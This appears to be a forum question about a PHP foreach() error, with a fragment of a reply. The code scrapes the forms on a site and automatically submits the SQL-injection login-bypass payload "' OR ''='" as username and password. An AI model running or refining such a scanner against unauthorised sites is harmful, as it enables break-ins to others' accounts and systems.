I'm getting Message: Invalid argument supplied for foreach()
on this line foreach($element->action as $URI){ // find action="" attr of <form> element
My code is a nested foreach() loop:
$siteToSearch = file_get_html($prefix.$sss);
foreach($siteToSearch->find('form') as $element){ // find <form> element
foreach($element->action as $URI){ // find action="" attr of <form> element
$submit_vars["name"] = "' OR ''='";
$submit_vars["passwd"] = "' OR ''='";
$submit_vars["submit"] = "Submit";
$snoopy->submit($URI,$submit_vars);
echo "response code: ".$snoopy->response_code."<br>\n";
print $snoopy->results;
}
}
I tried defining $URI on the first line as $URI = $element->action; but this doesnt seem to fix it
<form>elements, but the inner loop only makes sense if you're assuming each<form>might have multiple actions.